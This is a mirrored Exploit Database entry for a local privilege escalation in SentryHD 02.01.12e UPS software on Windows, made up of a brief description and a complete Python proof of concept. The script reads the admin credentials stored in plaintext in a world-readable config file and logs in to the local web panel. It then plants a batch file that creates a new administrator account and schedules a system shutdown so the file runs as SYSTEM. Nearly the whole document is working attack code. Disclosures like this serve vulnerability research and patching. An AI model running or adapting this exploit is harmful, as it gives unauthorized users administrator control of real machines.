SentryHD 02.01.12e – Local Privilege Escalation

• Exploit Database
• 33 阅读

• 作者： Kacper Szurek
  日期： 2017-01-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41090/

• '''
  # Exploit Title: SentryHD 02.01.12e Privilege Escalation
  # Date: 18-01-2017
  # Software Link: http://www.minutemanups.com/
  # Exploit Author: Kacper Szurek
  # Contact: http://twitter.com/KacperSzurek
  # Website: http://security.szurek.pl/
  # Category: local
   
  1. Description
  
  Every user can read: c:\Program Files (x86)\SentryHD\config.ini.
  
  Inside this ini file we can find login and password for web panel.
  
  UPSMan is running on autostart as System.
  
  Using Execute Command File we can execute commands on Scheduled system shutdown as System.
  
  https://security.szurek.pl/sentryhd-020112e-privilege-escalation.html
  
  2. Proof of Concept
  '''
  
  import ConfigParser
  import hashlib
  import re
  import urllib2
  import urllib
  from cookielib import CookieJar
  import os
  import datetime
  import subprocess
  import time
  
  new_user_name = "hacked"
  
  print "SentryHD 02.01.12e Privilege Escalation"
  print "by Kacper Szurek"
  print "http://security.szurek.pl/"
  print "https://twitter.com/KacperSzurek"
  
  config = ConfigParser.RawConfigParser()
  config.read('c:\\Program Files (x86)\\SentryHD\\config.ini')
  
  admin_user = config.get("Web", 'User0')
  admin_password = config.get("Web", 'Password0')
  
  print "[+] Find admin user: '{}' and password: '{}'".format(admin_user, admin_password)
  
  cj = CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  
  challenge = re.search("\"Challenge\" value=\"(.*?)\"", opener.open("http://localhost/").read())
  
  formdata = { "Username" : admin_user, "Password": admin_password, "Challenge" : challenge, "Response":hashlib.md5(admin_user+admin_password+challenge.group(1)).hexdigest()}
  opener.open("http://localhost/delta/login", urllib.urlencode(formdata))
  
  if "calcResponse()" in opener.open("http://localhost/home.asp").read():
  	print "[-] Failed to login"
  	os._exit(0)
  
  bat_path = os.path.dirname(os.path.abspath(__file__))+"\\create_user.bat"
  payload = open(bat_path, "w")
  payload.write("net user {} /add\n".format(new_user_name))
  payload.write("net localgroup Administrators {} /add".format(new_user_name))
  payload.close()
  
  print "[+] Create payload: {}".format(bat_path)
  
  formdata = {"ACT_SHUT_TYPE":0, "ACT_UPS_DELAY":10, "ACT_PF_EN": "on", "ACT_OSD_PF":999, "ACT_BL_EN": "on", "ACT_OSD_BL":999, "ACT_SS_EN":"on","ACT_OSD_SS":999, "ACT_LS_EN":"on", "ACT_LS_DELAY":999, "SUB_SHUTDOWN":"Submit"}
  opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))
  
  formdata = {"ACT_MSG_EN":1, "ACT_MSG_PERIOD":999, "ACT_CMD_EN":1, "ACT_CMD_FILE":bat_path, "ACT_CMD_BEFORE": 990, "SUB_REACTION":"Submit"}
  opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))
  
  
  current_time = datetime.datetime.today()+datetime.timedelta(0,90)
  shutdown_date = current_time.strftime('%m/%d/%Y')
  shutdown_time = current_time.strftime('%H:%M')
  
  formdata = {"SSH_SD1":shutdown_date, "SSH_TM1":shutdown_time, "SSH_ACT1":1}
  opener.open("http://localhost/delta/mgnt_sschedule", urllib.urlencode(formdata))
  
  print "[+] Set shutdown time: {} {}".format(shutdown_date, shutdown_time)
  
  print "[+] Waiting for user creation"
  i = 0
  while True:
  	if i > 100:
  		print "[-] Exploit failed"
  		os._exit(0)
  
  	netuser, _ = subprocess.Popen("net users", stdout=subprocess.PIPE, stderr=None, shell=False).communicate()
  
  	if new_user_name in netuser:
  		break
  
  	print "." ,
  	time.sleep(2)
  	i += i
  
  print "\n[+] Account created, cancel shutdown"
  
  formdata = {"SHUT_CANCEL":"Cancel Countdown"}
  opener.open("http://localhost/delta/mgnt_control", urllib.urlencode(formdata))
  
  print "[+] OK"